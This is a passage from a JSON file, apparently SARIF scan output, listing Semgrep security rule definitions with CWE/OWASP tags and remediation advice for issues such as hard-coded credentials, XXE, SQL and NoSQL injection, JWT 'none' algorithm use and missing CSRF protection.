Rule](https://semgrep.dev/r/javascript.lang.hardcoded.tokens.hardcoded-aws-secretaccesskey.hardcoded-aws-secretaccesskey)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.lang.hardcoded.tokens.hardcoded-aws-secretaccesskey.hardcoded-aws-secretaccesskey","id":"javascript.lang.hardcoded.tokens.hardcoded-aws-secretaccesskey.hardcoded-aws-secretaccesskey","name":"javascript.lang.hardcoded.tokens.hardcoded-aws-secretaccesskey.hardcoded-aws-secretaccesskey","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.hardcoded.tokens.hardcoded-aws-secretaccesskey.hardcoded-aws-secretaccesskey"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A cookie was detected without setting the 'secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'secure' flag by calling '$COOKIE.setSecure(true);'"},"help":{"markdown":"A cookie was detected without setting the 'secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'secure' flag by calling '$COOKIE.setSecure(true);'\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.cookie-missing-secure-flag.cookie-missing-secure-flag)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"A cookie was detected without setting the 'secure' flag. The 'secure' flag for cookies prevents the client from transmitting the cookie over insecure channels such as HTTP. Set the 'secure' flag by calling '$COOKIE.setSecure(true);'"},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.cookie-missing-secure-flag.cookie-missing-secure-flag","id":"kotlin.lang.security.cookie-missing-secure-flag.cookie-missing-secure-flag","name":"kotlin.lang.security.cookie-missing-secure-flag.cookie-missing-secure-flag","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.cookie-missing-secure-flag.cookie-missing-secure-flag"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the Validator parser with `parser.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\"). For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the Validator parser with `parser.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\"). For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.xxe.tainted-validator-xxe-servlet.tainted-validator-xxe-servlet)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/827.html](https://cwe.mitre.org/data/definitions/827.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the Validator parser with `parser.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, the following configuration also provides protection against XXE attacks. parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\"). For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.servlets.security.xxe.tainted-validator-xxe-servlet.tainted-validator-xxe-servlet","id":"java.servlets.security.xxe.tainted-validator-xxe-servlet.tainted-validator-xxe-servlet","name":"java.servlets.security.xxe.tainted-validator-xxe-servlet.tainted-validator-xxe-servlet","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.xxe.tainted-validator-xxe-servlet.tainted-validator-xxe-servlet"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.code.tainted-code-stdlib-flask.tainted-code-stdlib-flask)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://www.stackhawk.com/blog/command-injection-python/](https://www.stackhawk.com/blog/command-injection-python/)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"helpUri":"https://semgrep.dev/r/python.flask.code.tainted-code-stdlib-flask.tainted-code-stdlib-flask","id":"python.flask.code.tainted-code-stdlib-flask.tainted-code-stdlib-flask","name":"python.flask.code.tainted-code-stdlib-flask.tainted-code-stdlib-flask","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.code.tainted-code-stdlib-flask.tainted-code-stdlib-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Twilio API Key detected"},"help":{"markdown":"Twilio API Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-twilio-api-key.detected-twilio-api-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Twilio API Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-twilio-api-key.detected-twilio-api-key","id":"generic.secrets.security.detected-twilio-api-key.detected-twilio-api-key","name":"generic.secrets.security.detected-twilio-api-key.detected-twilio-api-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-twilio-api-key.detected-twilio-api-key"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.sql.pg-sqli-taint-med-conf.pg-sqli-taint-med-conf)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://pg.uptrace.dev/queries/](https://pg.uptrace.dev/queries/)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"helpUri":"https://semgrep.dev/r/go.net.sql.pg-sqli-taint-med-conf.pg-sqli-taint-med-conf","id":"go.net.sql.pg-sqli-taint-med-conf.pg-sqli-taint-med-conf","name":"go.net.sql.pg-sqli-taint-med-conf.pg-sqli-taint-med-conf","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.sql.pg-sqli-taint-med-conf.pg-sqli-taint-med-conf"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected anonymous LDAP bind. This permits anonymous users to execute LDAP statements. Consider enforcing authentication for LDAP."},"help":{"markdown":"Detected anonymous LDAP bind. This permits anonymous users to execute LDAP statements. Consider enforcing authentication for LDAP.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.ldap-bind-without-password.ldap-bind-without-password)\n - [https://www.php.net/manual/en/function.ldap-bind.php](https://www.php.net/manual/en/function.ldap-bind.php)\n","text":"Detected anonymous LDAP bind. This permits anonymous users to execute LDAP statements. Consider enforcing authentication for LDAP."},"helpUri":"https://semgrep.dev/r/php.lang.security.ldap-bind-without-password.ldap-bind-without-password","id":"php.lang.security.ldap-bind-without-password.ldap-bind-without-password","name":"php.lang.security.ldap-bind-without-password.ldap-bind-without-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","LOW CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.ldap-bind-without-password.ldap-bind-without-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected calls to child_process from a function argument `$FUNC`. This could lead to a command injection if the input is user controllable. Try to avoid calls to child_process, and if it is needed ensure user input is correctly sanitized or sandboxed. "},"help":{"markdown":"Detected calls to child_process from a function argument `$FUNC`. This could lead to a command injection if the input is user controllable. Try to avoid calls to child_process, and if it is needed ensure user input is correctly sanitized or sandboxed. \n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.detect-child-process.detect-child-process)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Nodejs_Security_Cheat_Sheet.html#do-not-use-dangerous-functions](https://cheatsheetseries.owasp.org/cheatsheets/Nodejs_Security_Cheat_Sheet.html#do-not-use-dangerous-functions)\n","text":"Detected calls to child_process from a function argument `$FUNC`. This could lead to a command injection if the input is user controllable. Try to avoid calls to child_process, and if it is needed ensure user input is correctly sanitized or sandboxed. "},"helpUri":"https://semgrep.dev/r/javascript.lang.security.detect-child-process.detect-child-process","id":"javascript.lang.security.detect-child-process.detect-child-process","name":"javascript.lang.security.detect-child-process.detect-child-process","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.detect-child-process.detect-child-process"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.spring.kmongo-nosqli.kmongo-nosqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/kotlin.spring.kmongo-nosqli.kmongo-nosqli","id":"kotlin.spring.kmongo-nosqli.kmongo-nosqli","name":"kotlin.spring.kmongo-nosqli.kmongo-nosqli","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.spring.kmongo-nosqli.kmongo-nosqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.ktor.nosqli.ktor-mongo-java-driver.ktor-mongo-java-driver)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/kotlin.ktor.nosqli.ktor-mongo-java-driver.ktor-mongo-java-driver","id":"kotlin.ktor.nosqli.ktor-mongo-java-driver.ktor-mongo-java-driver","name":"kotlin.ktor.nosqli.ktor-mongo-java-driver.ktor-mongo-java-driver","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.ktor.nosqli.ktor-mongo-java-driver.ktor-mongo-java-driver"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Possible active debug code detected. Deploying an application with debug code can create unintended entry points or expose sensitive information."},"help":{"markdown":"Possible active debug code detected. Deploying an application with debug code can create unintended entry points or expose sensitive information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.active-debug-code-getstacktrace.active-debug-code-getstacktrace)\n - [https://cwe.mitre.org/data/definitions/489.html](https://cwe.mitre.org/data/definitions/489.html)\n - [https://www.acunetix.com/vulnerabilities/web/stack-trace-disclosure-java/](https://www.acunetix.com/vulnerabilities/web/stack-trace-disclosure-java/)\n - [https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/02-Testing_for_Stack_Traces](https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/02-Testing_for_Stack_Traces)\n - [https://www.securecodewarrior.com/blog/coders-conquer-security-share-learn-series-information-exposure](https://www.securecodewarrior.com/blog/coders-conquer-security-share-learn-series-information-exposure)\n","text":"Possible active debug code detected. Deploying an application with debug code can create unintended entry points or expose sensitive information."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.active-debug-code-getstacktrace.active-debug-code-getstacktrace","id":"java.lang.security.audit.active-debug-code-getstacktrace.active-debug-code-getstacktrace","name":"java.lang.security.audit.active-debug-code-getstacktrace.active-debug-code-getstacktrace","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","OWASP-A10:2004 - Insecure Configuration Management","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.active-debug-code-getstacktrace.active-debug-code-getstacktrace"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'."},"help":{"markdown":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.jwt-go.security.jwt-none-alg.jwt-go-none-algorithm)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected use of the 'none' algorithm in a JWT token. The 'none' algorithm assumes the integrity of the token has already been verified. This would allow a malicious actor to forge a JWT token that will automatically be verified. Do not explicitly use the 'none' algorithm. Instead, use an algorithm such as 'HS256'."},"helpUri":"https://semgrep.dev/r/go.jwt-go.security.jwt-none-alg.jwt-go-none-algorithm","id":"go.jwt-go.security.jwt-none-alg.jwt-go-none-algorithm","name":"go.jwt-go.security.jwt-none-alg.jwt-go-none-algorithm","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: go.jwt-go.security.jwt-none-alg.jwt-go-none-algorithm"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"help":{"markdown":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.spring.scripting-host-eval.scripting-host-eval)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application might dynamically evaluate untrusted input, which can lead to a code injection vulnerability. An attacker can execute arbitrary code, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing code containing user input. If this is unavoidable, validate and sanitize the input, and use safe alternatives for evaluating user input."},"helpUri":"https://semgrep.dev/r/kotlin.spring.scripting-host-eval.scripting-host-eval","id":"kotlin.spring.scripting-host-eval.scripting-host-eval","name":"kotlin.spring.scripting-host-eval.scripting-host-eval","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.spring.scripting-host-eval.scripting-host-eval"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"When generating random data for use in cryptographic operations, such as an initialization vector, you do not want to use the standard random module APIs. This is because they do not provide a cryptographically secure random number generator, which can result in major security issues depending on the algorithms in use. Therefore, it is our recommendation to always use your operating system’s provided random number generator, which is available as os.urandom()."},"help":{"markdown":"When generating random data for use in cryptographic operations, such as an initialization vector, you do not want to use the standard random module APIs. This is because they do not provide a cryptographically secure random number generator, which can result in major security issues depending on the algorithms in use. Therefore, it is our recommendation to always use your operating system’s provided random number generator, which is available as os.urandom().\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.cryptography-insecure-random.cryptography-insecure-random)\n - [https://cryptography.io/en/latest/random-numbers/#random-number-generation](https://cryptography.io/en/latest/random-numbers/#random-number-generation)\n - [https://docs.python.org/3/library/secrets.html](https://docs.python.org/3/library/secrets.html)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"When generating random data for use in cryptographic operations, such as an initialization vector, you do not want to use the standard random module APIs. This is because they do not provide a cryptographically secure random number generator, which can result in major security issues depending on the algorithms in use. Therefore, it is our recommendation to always use your operating system’s provided random number generator, which is available as os.urandom()."},"helpUri":"https://semgrep.dev/r/python.cryptography.cryptography-insecure-random.cryptography-insecure-random","id":"python.cryptography.cryptography-insecure-random.cryptography-insecure-random","name":"python.cryptography.cryptography-insecure-random.cryptography-insecure-random","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.cryptography-insecure-random.cryptography-insecure-random"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Setting 'WTF_CSRF_ENABLED' to 'False' explicitly disables CSRF protection."},"help":{"markdown":"Setting 'WTF_CSRF_ENABLED' to 'False' explicitly disables CSRF protection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.audit.wtf-csrf-disabled.flask-wtf-csrf-disabled)\n - [https://flask-wtf.readthedocs.io/en/1.2.x/csrf/](https://flask-wtf.readthedocs.io/en/1.2.x/csrf/)\n","text":"Setting 'WTF_CSRF_ENABLED' to 'False' explicitly disables CSRF protection."},"helpUri":"https://semgrep.dev/r/python.flask.security.audit.wtf-csrf-disabled.flask-wtf-csrf-disabled","id":"python.flask.security.audit.wtf-csrf-disabled.flask-wtf-csrf-disabled","name":"python.flask.security.audit.wtf-csrf-disabled.flask-wtf-csrf-disabled","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.audit.wtf-csrf-disabled.flask-wtf-csrf-disabled"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure FSX Lustre file system is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure FSX Lustre file system is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-fsx-lustre-filesystem-encrypted-with-cmk.aws-fsx-lustre-filesystem-encrypted-with-cmk)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Ensure FSX Lustre file system is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-fsx-lustre-filesystem-encrypted-with-cmk.aws-fsx-lustre-filesystem-encrypted-with-cmk","id":"terraform.aws.security.aws-fsx-lustre-filesystem-encrypted-with-cmk.aws-fsx-lustre-filesystem-encrypted-with-cmk","name":"terraform.aws.security.aws-fsx-lustre-filesystem-encrypted-with-cmk.aws-fsx-lustre-filesystem-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-311: Missing Encryption of Sensitive Data","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-fsx-lustre-filesystem-encrypted-with-cmk.aws-fsx-lustre-filesystem-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.nextjs.react-nextjs-router-href.react-nextjs-router-href)\n - [https://github.com/segmentio/ui-box/blob/master/src/utils/safeHref.ts](https://github.com/segmentio/ui-box/blob/master/src/utils/safeHref.ts)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase."},"helpUri":"https://semgrep.dev/r/typescript.nextjs.react-nextjs-router-href.react-nextjs-router-href","id":"typescript.nextjs.react-nextjs-router-href.react-nextjs-router-href","name":"typescript.nextjs.react-nextjs-router-href.react-nextjs-router-href","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.nextjs.react-nextjs-router-href.react-nextjs-router-href"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"math.remainder is only available on Python 3.7+ and is therefore not backwards compatible. Instead, use math.fmod() or calculate $X - n* $Y."},"help":{"markdown":"math.remainder is only available on Python 